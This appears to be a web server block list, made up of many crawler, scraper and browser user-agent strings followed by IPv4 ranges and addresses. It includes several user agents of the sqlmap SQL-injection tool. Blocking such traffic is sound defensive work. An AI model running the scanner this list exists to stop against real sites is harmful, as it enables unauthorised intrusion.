Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20 Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20 Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20 Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36 OPR/50.2.2426.136249
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623; ja-jp) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 Puffin/8.3.1.41624AP
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.99 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/203.0.0.16.293;]
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.105 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.96 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.4476.1967 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.5160.1974 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.7427.1549 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.7780.1300 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.1973.1040 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7465.1443 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2879.1293 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2565.1483 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.6372.1132 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.3076.1708 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.5553.1865 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2569.1308 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.8799.1800 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.8652.1933 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.1430.1657 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.7798.1003 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.6661.1558 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9476.1061 Mobile Safari/537.36; Bytespider
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT J3 PRO Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT R11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT R11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT R11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.103 YaBrowser/18.7.1.595.00 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36 OPR/68.2.3557.64219
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.116 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.119 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1); 360Spider
Mozilla/5.0 (Linux; U; Android 4.2.1; de-de; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y511-T00 Build/HUAWEIY511-T00) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30/4.05d.1002.m7 x-wap-profile http://wap1.huawei.com/uaprof/Y511_TD_UAProfile.xml
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y600-U40 Build/HUAWEIY600-U40) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 x-wap-profile http://wap1.huawei.com/uaprof/HuaweiY600-U40_UAProfile.xml
Mozilla/5.0 (Linux; U; Android 6.0; en-US; CUBOT_MANITO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.9.5.1146 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 7.0; CUBOT R9 Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/64.0.3282.137 Mobile Safari/537.36 OPR/36.2.2254.130496
Mozilla/5.0 (Linux; U; Android 7.0; en-US; CUBOT H3 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.13.5.1209 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 8.1.0; CUBOT_J3 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 OPR/36.2.2254.130496
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0 http://focalbiz.com) Gecko/20100101 Firefox/57.0 http://www.focalbiz.com
Mozilla/5.0 (TweetmemeBot/4.0; +http://datasift.com/bot.html) Gecko/20100101 Firefox/29.0
Mozilla/5.0 (Windows NT 10.0; http://temnos.com; rv:110.0) Gecko/20100101 Firefox/110.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Yeti/1.1; +https://naver.me/spd) Chrome/127.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; trendictionbot0.5.0; trendiction search; http://www.trendiction.de/bot; please let us know of any problems; web at trendiction.com) Gecko/20100101 Firefox/125.0
Mozilla/5.0 (Windows NT 6.1; Win64; x64; +http://url-classification.io/wiki/index.php?title=URL_server_crawler) KStandBot/1.0
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) RedirectBot/1.0
Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0 360Spider 360Spider
Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 _zbot
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 _zbot
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110515 HeartRails_Capture/1.0.4 (+http://capture.heartrails.com/) Namoroka/3.6.17
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0 / GnowitNewsbot / Contact information at http://www.gnowit.com
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GeedoProductSearch; +http://www.geedo.com/product-search.html) Chrome/79.0.3945.88 Safari/537.36
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PretzelBot/0.3; +http://www.example.com/bot.html) Chrome/41.0.2272.96 Safari/537.36
Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com)
Mozilla/5.0(compatible; NETZZAPPEN is a wysiwyg searchengine, which shows screenshot http://www.netzzappen.com
Mozilla/5.0(compatible; NETZZAPPEN is a wysiwyg searchengine, which shows screenshot http://www.netzzappen.com
Mozilla/5.0+(compatible; TripleCheckerRobot/1.0; https://www.triplechecker.com/)
Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Trident/5.0);+360Spider(compatible;+HaosouSpider;+http://www.haosou.com/help/help_3_2.html)
NetNewsWire/2.x (Mac OS X; http://ranchero.com/netnewswire/)
NewsGator FetchLinks extension/0.2.0 (http://graemef.com)
NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers)
Niraiya.com | Stolen Passwords Checker Bot | Macintosh; Intel Mac OS X 10_7_5 (compatible; niraiya.com/2.0;) | We don t share data to 3rd parties : https://www.niraiya.com/privacyandsecurity | Report Us : https://www.niraiya.com/contactus
NortheasternSysNetBot/1.0 (Bot for academic research purposes; please visit https://www.ccs.neu.edu/home/talhaparacha/sysnetbot1.html for more details)
OK-Search-Bot/1.0
OnalyticaBot
OutclicksBot/1 +https://www.outclicks.net/agent/q1eput
OutclicksBot/4 +https://www.outclicks.net/agent/14A2rlQ31TVr0QMLItBADNhsUzQwF4ldbFzoN8KjdorgRTGr3DPFakNuNqlLBzS6q
OutclicksBot/4 +https://www.outclicks.net/agent/4I5zCbJyApdTX10j7PHYGH
OutclicksBot/4 +https://www.outclicks.net/agent/4MSKi5yBVlX1A1PnIfjekw
OutclicksBot/4 +https://www.outclicks.net/agent/Ivwzzs6ZnCIQHQswZpFTPrCAUGO3EGhftouhmSYzG0L
PhearBot/0.4.1
PHP-Curl-Class/8.3.2 (+https://github.com/php-curl-class/php-curl-class) PHP/5.5.9-1ubuntu4.21 curl/7.35.0
pilicanbot/Nutch-1.15 (pilican.com; bot@pilican.com)
Pinterest/0.2 (+https://www.pinterest.com/bot.html)
Protopage/3.0 (http://www.protopage.com)
RAMPyBot
RankMathApi/2.0.6; https://rankmath.com
Rattib_Bot
RepoLookoutBot/v1.1.0-107-g066a688 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-111-g8defef1 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-118-g2f4c09d (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-124-g90d5adf (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-204-g6872d1a (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-22-g754065f (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-254-g8600e60 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-275-gd7eabf2 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-282-g883dd6b (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-297-gcf436d3 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBotBot/0.0.1 (abuse reports to abuse@crissyfield.de)
rogerbot/1.1 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-crawler+madagascarmoz.com)
RottenLink, MediaWiki extension (https://github.com/miraheze/RottenLinks), running on https://cvt.miraheze.org
SAMSUNG-B2700/MAHJ2 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 x-wap-profile http://wap.samsungmobile.com/uaprof/B2700_2G.rdf
SAMSUNG-GT-S5560/1.0 SHP/VPP/R5 Dolfin/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 x-wap-profile http://wap.samsungmobile.com/uaprof/GT-S5560LTCE.xml
scraping (http://www.bjut.edu.cn), fawaz projiect
Scrapy/1.7.1 (+https://scrapy.org)
Scrapy/2.1.0 (+https://scrapy.org)
Scrapy/2.10.1 (+https://scrapy.org)
Scrapy/2.11.0 (+https://scrapy.org)
Scrapy/2.6.2 (+https://scrapy.org)
Screaming Frog SEO Spider/11.1
Screaming Frog SEO Spider/12.1
Screaming Frog SEO Spider/12.4
Screaming Frog SEO Spider/13.0
Screaming Frog SEO Spider/13.2
Screaming Frog SEO Spider/14.2
Screaming Frog SEO Spider/15.1
Screaming Frog SEO Spider/16.2
Screaming Frog SEO Spider/16.4
Screaming Frog SEO Spider/19.2
Screaming Frog SEO Spider/19.5
Screaming Frog SEO Spider/8.0
Screaming Frog SEO Spider/9.0
Seeker v.1 http://LookSeek.com/seeker
SemrushBot-SA
SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)
Sidetrade indexer bot
SimplePie/1.4-dev (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20141104115702
SirdataBot (+https://semantic-api.docs.sirdata.net/contextual-api/contextual-api/introduction)
SiteScoreBot v20210315
Snarfer/0.x.x (http://www.snarfware.com/)
SpiderWeb/2.2.5 (Macintosh; Intel Mac OS X; Mobile; rv:60.0) Gecko/60
sqlmap/1.2.10.26#dev (http://sqlmap.org)
sqlmap/1.2.11.19#dev (http://sqlmap.org)
sqlmap/1.2.12#stable (http://sqlmap.org)
sqlmap/1.2.12.14#dev (http://sqlmap.org)
sqlmap/1.2.5.24#dev (http://sqlmap.org)
sqlmap/1.2.8.15#dev (http://sqlmap.org)
sqlmap/1.2.9#stable (http://sqlmap.org)
sqlmap/1.8.4#stable (https://sqlmap.org)
ssearch_bot (sSearch Crawler; http://www.semantissimo.de)
stats222 bot
TelegramBot
Timpibot/0.8 (+http://www.timpi.io)
trust_spider
UCWEB/2.0 (MIDP-2.0; U; Adr 6.0; ru; CUBOT_ECHO) U2/1.0.0 UCBrowser/9.9.0.543 U2/1.0.0 Mobile
User-Agent:esp8266 yubot
V-BOT/0.001 (+mailto://bot@voyagerx.com)
W3C_Unicorn/1.0 (http://validator.w3.org/services)
webprosbot/2.0 (abuse-6337@webpros.com)
WordPress.com; http://tips-box.com
WordPress.com; https://eyespecialists.wordpress.com; verifying pingback from 46.24.49.139
WordPress.com; https://jodhpurnews24.wordpress.com
WordPress.com; https://onlinehindinewssite.wordpress.com
WP-URLDetails/6.1.1 (+https://www.alexisgangloff.com)
www.GettHIT.com | Free Traffic Exchange Bot | If you are seeing this, then your website has been listed in our traffic exchange service. | Visit Us : https://www.getthit.com/bot | Macintosh; Intel Mac OS X 10_7_5 (compatible; getthit.com/3.1;)
www.niraiya.com | Stolen Passwords Checker Bot | Macintosh; Intel Mac OS X 10_7_5 (compatible; niraiya.com/2.0;) | We don t share data to 3rd parties : https://www.niraiya.com/privacyandsecurity | Report Us : https://www.niraiya.com/contactus
www777bot
XenForo/2.x (https://balkaniptvclub.ydns.eu)
yacybot (/global; amd64 Linux 4.18.0-513.24.1.el8_9.x86_64; java 1.8.0_412; America/en) http://yacy.net/bot.html
yacybot (/global; amd64 Linux 4.4.240; java 15.0.1; US/en) http://yacy.net/bot.html
yacybot (/global; amd64 Linux 6.1.0-21-amd64; java 17.0.11; Europe/es) http://yacy.net/bot.html
yacybot (/global; amd64 Linux 6.5.0-28-generic; java 21.0.3; Australia/en) http://yacy.net/bot.html
yacybot (/global; amd64 Linux 6.8.9-300.fc40.x86_64; java 21.0.3; Europe/de) http://yacy.net/bot.html
yoobot 8.99.0000
YOURLS v1.5 +http://yourls.org/ (running on http://vm.lc)
YOURLS v1.7 +http://yourls.org/ (running on http://short.16mb.com)
YOURLS v1.7 +http://yourls.org/ (running on http://www.bv-xa.com)
YOURLS v1.7.2 +http://yourls.org/ (running on https://ginily.com)
zoominfobot
[ua][BrowserBot/1.6.2][SDK/30]
185.223.152.0-185.223.152.255
13.64.0.0-13.95.255.255
13.96.0.0-13.103.255.255
13.104.0.0-13.107.255.255
20.33.0.0-20.33.255.255
20.34.0.0-20.35.255.255
20.36.0.0-20.39.255.255
20.40.0.0-20.47.255.255
20.48.0.0-20.63.255.255
20.64.0.0-20.127.255.255
20.128.0.0-20.128.255.255
20.130.0.0-20.130.255.255
20.135.0.0-20.135.255.255
20.136.0.0-20.136.255.255
20.140.0.0-20.141.255.255
20.143.0.0-20.143.255.255
20.144.0.0-20.147.255.255
20.150.0.0-20.151.255.255
20.157.0.0-20.157.255.255
20.160.0.0-20.175.255.255
20.176.0.0-20.179.255.255
20.180.0.0-20.183.255.255
20.184.0.0-20.191.255.255
20.192.0.0-20.255.255.255
23.96.0.0-23.103.255.255
40.64.0.0-40.127.255.255
42.159.0.0-42.159.255.255
51.4.0.0-51.5.255.255
51.8.0.0-51.8.255.255
51.10.0.0-51.11.255.255
51.12.0.0-51.13.255.255
51.18.0.0-51.18.255.255
51.51.0.0-51.51.255.255
51.53.0.0-51.53.255.255
51.103.0.0-51.103.255.255
51.104.0.0-51.105.255.255
51.107.0.0-51.107.255.255
51.116.0.0-51.116.255.255
51.120.0.0-51.120.255.255
51.124.0.0-51.124.255.255
51.132.0.0-51.132.255.255
51.136.0.0-51.137.255.255
51.138.0.0-51.138.255.255
51.140.0.0-51.143.255.255
51.144.0.0-51.145.255.255
52.96.0.0-52.111.255.255
52.112.0.0-52.115.255.255
52.120.0.0-52.123.255.255
52.125.0.0-52.125.255.255
52.126.0.0-52.127.255.255
52.130.0.0-52.131.255.255
52.132.0.0-52.135.255.255
52.136.0.0-52.143.255.255
52.145.0.0-52.145.255.255
52.146.0.0-52.147.255.255
52.148.0.0-52.151.255.255
52.152.0.0-52.159.255.255
52.160.0.0-52.191.255.255
52.224.0.0-52.255.255.255
64.4.0.0-64.4.63.255
65.52.0.0-65.55.255.255
66.119.144.0-66.119.159.255
70.37.0.0-70.37.127.255
70.37.128.0-70.37.191.255
91.190.216.0-91.190.223.255
94.245.64.0-94.245.127.255
102.37.0.0-102.37.255.255
102.133.0.0-102.133.255.255
103.9.8.0-103.9.11.255
103.25.156.0-103.25.156.255
103.25.157.0-103.25.157.255
103.25.158.0-103.25.159.255
103.36.96.0-103.36.99.255
103.255.140.0-103.255.143.255
104.40.0.0-104.47.255.255
104.146.0.0-104.147.255.255
104.208.0.0-104.215.255.255
111.221.16.0-111.221.31.255
111.221.64.0-111.221.127.255
128.94.0.0-128.94.255.255
129.75.0.0-129.75.255.255
131.107.0.0-131.107.255.255
131.253.1.0-131.253.1.255
131.253.3.0-131.253.3.255
131.253.5.0-131.253.5.255
131.253.6.0-131.253.6.255
131.253.8.0-131.253.8.255
131.253.12.0-131.253.15.255
131.253.16.0-131.253.17.255
131.253.18.0-131.253.18.255
131.253.21.0-131.253.21.255
131.253.22.0-131.253.23.255
131.253.24.0-131.253.31.255
131.253.32.0-131.253.47.255
131.253.61.0-131.253.61.255
131.253.62.0-131.253.63.255
131.253.64.0-131.253.127.255
131.253.128.0-131.253.255.255
132.245.0.0-132.245.255.255
134.170.0.0-134.170.255.255
134.177.0.0-134.177.255.255
135.149.0.0-135.149.255.255
137.116.0.0-137.117.255.255
137.135.0.0-137.135.255.255
138.91.0.0-138.91.255.255
138.196.0.0-138.196.255.255
138.239.0.0-138.239.255.255
139.217.0.0-139.217.255.255
139.219.0.0-139.219.255.255
141.251.0.0-141.251.255.255
143.64.0.0-143.64.255.255
146.147.0.0-146.147.255.255
147.145.0.0-147.145.255.255
147.243.0.0-147.243.255.255
148.7.0.0-148.7.255.255
150.171.0.0-150.171.255.255
150.242.48.0-150.242.51.255
155.62.0.0-155.62.255.255
157.54.0.0-157.55.255.255
157.56.0.0-157.59.255.255
157.60.0.0-157.60.255.255
158.158.0.0-158.158.255.255
159.27.0.0-159.27.255.255
163.228.0.0-163.228.255.255
167.105.0.0-167.105.255.255
167.220.0.0-167.220.255.255
168.61.0.0-168.61.255.255
168.62.0.0-168.63.255.255
169.138.0.0-169.138.255.255
170.165.0.0-170.165.255.255
191.232.0.0-191.239.255.255
192.32.0.0-192.32.255.255
192.48.225.0-192.48.225.255
192.84.159.0-192.84.159.255
192.84.160.0-192.84.161.255
192.197.157.0-192.197.157.255
192.237.67.0-192.237.67.255
193.149.64.0-193.149.95.255
193.221.113.0-193.221.113.255
194.69.96.0-194.69.127.255
194.110.197.0-194.110.197.255
198.105.232.0-198.105.235.255
198.137.97.0-198.137.97.255
198.180.95.0-198.180.95.255
198.180.96.0-198.180.97.255
198.200.130.0-198.200.130.255
198.206.164.0-198.206.164.255
199.30.16.0-199.30.31.255
199.60.28.0-199.60.28.255
199.74.210.0-199.74.210.255
199.103.90.0-199.103.91.255
199.103.122.0-199.103.122.255
199.242.32.0-199.242.47.255
199.242.48.0-199.242.55.255
202.89.224.0-202.89.239.255
204.13.120.0-204.13.127.255
204.14.180.0-204.14.183.255
204.79.135.0-204.79.135.255
204.79.179.0-204.79.179.255
204.79.181.0-204.79.181.255
204.79.188.0-204.79.188.255
204.79.195.0-204.79.195.255
204.79.196.0-204.79.197.255
204.79.252.0-204.79.252.255
204.152.18.0-204.152.19.255
204.152.140.0-204.152.141.255
204.231.192.0-204.231.192.255
204.231.194.0-204.231.195.255
204.231.197.0-204.231.197.255
204.231.198.0-204.231.199.255
204.231.200.0-204.231.207.255
204.231.208.0-204.231.223.255
204.231.236.0-204.231.236.255
205.174.224.0-205.174.239.255
206.138.168.0-206.138.175.255
206.191.224.0-206.191.255.255
207.46.0.0-207.46.255.255
207.68.128.0-207.68.191.255
208.68.136.0-208.68.143.255
208.76.44.0-208.76.47.255
208.84.0.0-208.84.7.255
209.240.192.0-209.240.223.255
213.199.128.0-213.199.191.255
216.32.180.0-216.32.183.255
216.220.208.0-216.220.223.255
37.120.213.166-37.120.213.174
77.28.64.0-77.28.127.255
185.142.236.0-185.142.236.255   
37.97.133.0-37.97.133.255
125.64.94.0-125.64.94.255
87.250.224.0-87.250.224.255
222.186.170.0-222.186.170.255
2.58.29.145-2.58.29.158
2.58.29.20-2.58.29.30
5.62.63.156-5.62.63.159
37.9.87.96-37.9.87.127
54.36.148.0-54.36.148.255
54.36.149.0-54.36.149.255
54.36.150.0-54.36.150.255
195.154.122.0-195.154.122.255
195.154.123.0-195.154.123.255
195.154.126.0-195.154.126.255
195.154.127.0-195.154.127.255
185.191.171.0-185.191.171.255
85.208.98.0-85.208.98.255
216.244.66.0-216.244.66.255
5.188.210.0-5.188.210.255
46.161.9.0-46.161.9.255
183.136.226.0-183.136.226.255
168.119.64.245-168.119.64.255
168.119.65.43-168.119.65.62
168.119.65.107-168.119.65.126
168.119.68.117-168.119.68.254
64.124.8.21-64.124.8.60
8.210.70.27
164.90.241.135
161.35.246.138
84.39.112.85
5.62.61.177
205.169.39.177
185.94.190.163
45.146.165.37
212.193.30.165
54.37.75.187
192.71.103.173
47.243.138.243
8.210.90.76
51.68.111.184
150.109.164.91
160.116.22.21
49.36.239.14
147.161.129.84
136.243.80.58
185.119.81.101
122.109.208.156
